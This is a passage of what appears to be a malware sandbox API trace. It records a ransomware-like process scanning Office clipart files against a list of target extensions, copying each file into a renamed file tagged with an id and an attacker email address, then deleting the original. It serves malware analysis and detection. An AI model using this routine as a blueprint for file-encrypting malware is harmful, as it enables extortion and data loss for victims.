Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.940] lstrlenW (lpString=".1cd") returned 4 [0215.940] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.940] lstrlenW (lpString=".jpg") returned 4 [0215.940] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.940] lstrlenW (lpString=".doc") returned 4 [0215.940] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.940] lstrlenW (lpString=".docx") returned 5 [0215.940] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0215.940] lstrlenW (lpString=".pdf") returned 4 [0215.940] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.940] lstrlenW (lpString=".xls") returned 4 [0215.940] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.940] lstrlenW (lpString=".xlsx") returned 5 [0215.940] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0215.940] lstrlenW (lpString=".ppt") returned 4 [0215.940] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.940] lstrlenW (lpString=".zip") returned 4 [0215.940] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.940] lstrlenW (lpString=".rar") returned 4 [0215.940] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.940] lstrlenW (lpString=".bz2") returned 4 [0215.940] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.940] lstrlenW (lpString=".7z") returned 3 [0215.940] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.940] lstrlenW (lpString=".dbf") returned 4 [0215.941] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.941] lstrlenW (lpString=".1cd") returned 4 [0215.941] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.941] lstrlenW (lpString=".jpg") returned 4 [0215.941] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.941] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0215.941] lstrlenW (lpString="J0151045.WMF") returned 12 [0215.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0216.147] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=15464) returned 1 [0216.147] CloseHandle (hObject=0x564) returned 1 [0216.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220 [0216.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0216.162] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.162] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0216.177] GetLastError () returned 0x0 [0216.177] ReadFile (in: hFile=0x574, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x3c68, lpOverlapped=0x0) returned 1 [0216.179] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x3c70, lpOverlapped=0x0) returned 1 [0216.180] ReadFile (in: hFile=0x574, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.180] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.180] SetEndOfFile (hFile=0x450) returned 1 [0216.180] CloseHandle (hObject=0x450) returned 1 [0216.180] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.180] SetEndOfFile (hFile=0x574) returned 1 [0216.183] CloseHandle (hObject=0x574) returned 1 [0216.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0216.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.184] lstrlenW (lpString=".doc") returned 4 [0216.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.184] lstrlenW (lpString=".docx") returned 5 [0216.184] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0216.184] lstrlenW (lpString=".pdf") returned 4 [0216.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.184] lstrlenW (lpString=".xls") returned 4 [0216.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.184] lstrlenW (lpString=".xlsx") returned 5 [0216.185] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0216.185] lstrlenW (lpString=".ppt") returned 4 [0216.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.185] lstrlenW (lpString=".zip") returned 4 [0216.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.185] lstrlenW (lpString=".rar") returned 4 [0216.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString=".bz2") returned 4 [0216.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString=".7z") returned 3 [0216.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.185] lstrlenW (lpString=".dbf") returned 4 [0216.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.185] lstrlenW (lpString=".1cd") returned 4 [0216.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.185] lstrlenW (lpString=".jpg") returned 4 [0216.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.185] lstrlenW (lpString=".doc") returned 4 [0216.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString=".docx") returned 5 [0216.185] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0216.185] lstrlenW (lpString=".pdf") returned 4 [0216.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.185] lstrlenW (lpString=".xls") returned 4 [0216.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.185] lstrlenW (lpString=".xlsx") returned 5 [0216.185] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0216.186] lstrlenW (lpString=".ppt") returned 4 [0216.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.186] lstrlenW (lpString=".zip") returned 4 [0216.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.186] lstrlenW (lpString=".rar") returned 4 [0216.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.186] lstrlenW (lpString=".bz2") returned 4 [0216.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.186] lstrlenW (lpString=".7z") returned 3 [0216.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.186] lstrlenW (lpString=".dbf") returned 4 [0216.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.186] lstrlenW (lpString=".1cd") returned 4 [0216.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0216.186] lstrlenW (lpString=".jpg") returned 4 [0216.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.186] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.186] lstrlenW (lpString="J0151055.WMF") returned 12 [0216.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0216.187] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=14632) returned 1 [0216.187] CloseHandle (hObject=0x574) returned 1 [0216.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220 [0216.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0216.188] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.188] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0216.188] GetLastError () returned 0x0 [0216.189] ReadFile (in: hFile=0x574, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x3928, lpOverlapped=0x0) returned 1 [0216.190] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x3930, lpOverlapped=0x0) returned 1 [0216.191] ReadFile (in: hFile=0x574, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.191] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.191] SetEndOfFile (hFile=0x450) returned 1 [0216.192] CloseHandle (hObject=0x450) returned 1 [0216.192] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.192] SetEndOfFile (hFile=0x574) returned 1 [0216.195] CloseHandle (hObject=0x574) returned 1 [0216.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0216.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.197] lstrlenW (lpString=".doc") returned 4 [0216.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.197] lstrlenW (lpString=".docx") returned 5 [0216.197] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0216.197] lstrlenW (lpString=".pdf") returned 4 [0216.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.197] lstrlenW (lpString=".xls") returned 4 [0216.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.197] lstrlenW (lpString=".xlsx") returned 5 [0216.197] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0216.197] lstrlenW (lpString=".ppt") returned 4 [0216.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.197] lstrlenW (lpString=".zip") returned 4 [0216.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.197] lstrlenW (lpString=".rar") returned 4 [0216.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.197] lstrlenW (lpString=".bz2") returned 4 [0216.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.197] lstrlenW (lpString=".7z") returned 3 [0216.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.197] lstrlenW (lpString=".dbf") returned 4 [0216.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.197] lstrlenW (lpString=".1cd") returned 4 [0216.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.197] lstrlenW (lpString=".jpg") returned 4 [0216.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.198] lstrlenW (lpString=".doc") returned 4 [0216.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString=".docx") returned 5 [0216.198] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0216.198] lstrlenW (lpString=".pdf") returned 4 [0216.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString=".xls") returned 4 [0216.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.198] lstrlenW (lpString=".xlsx") returned 5 [0216.198] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0216.198] lstrlenW (lpString=".ppt") returned 4 [0216.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.198] lstrlenW (lpString=".zip") returned 4 [0216.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.198] lstrlenW (lpString=".rar") returned 4 [0216.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString=".bz2") returned 4 [0216.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString=".7z") returned 3 [0216.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.198] lstrlenW (lpString=".dbf") returned 4 [0216.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.198] lstrlenW (lpString=".1cd") returned 4 [0216.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0216.199] lstrlenW (lpString=".jpg") returned 4 [0216.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.199] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.199] lstrlenW (lpString="J0151061.WMF") returned 12 [0216.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0216.200] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=6752) returned 1 [0216.200] CloseHandle (hObject=0x574) returned 1 [0216.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220 [0216.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0216.201] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.201] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0216.204] GetLastError () returned 0x0 [0216.204] ReadFile (in: hFile=0x574, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1a60, lpOverlapped=0x0) returned 1 [0216.205] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0216.206] ReadFile (in: hFile=0x574, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.207] WriteFile (in: hFile=0x450, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0216.207] SetEndOfFile (hFile=0x450) returned 1 [0216.207] CloseHandle (hObject=0x450) returned 1 [0216.207] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.207] SetEndOfFile (hFile=0x574) returned 1 [0216.601] CloseHandle (hObject=0x574) returned 1 [0216.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0217.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.148] lstrlenW (lpString=".doc") returned 4 [0217.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.148] lstrlenW (lpString=".docx") returned 5 [0217.148] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0217.148] lstrlenW (lpString=".pdf") returned 4 [0217.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString=".xls") returned 4 [0217.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.149] lstrlenW (lpString=".xlsx") returned 5 [0217.149] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0217.149] lstrlenW (lpString=".ppt") returned 4 [0217.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.149] lstrlenW (lpString=".zip") returned 4 [0217.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.149] lstrlenW (lpString=".rar") returned 4 [0217.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString=".bz2") returned 4 [0217.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString=".7z") returned 3 [0217.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.149] lstrlenW (lpString=".dbf") returned 4 [0217.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.149] lstrlenW (lpString=".1cd") returned 4 [0217.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.149] lstrlenW (lpString=".jpg") returned 4 [0217.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.149] lstrlenW 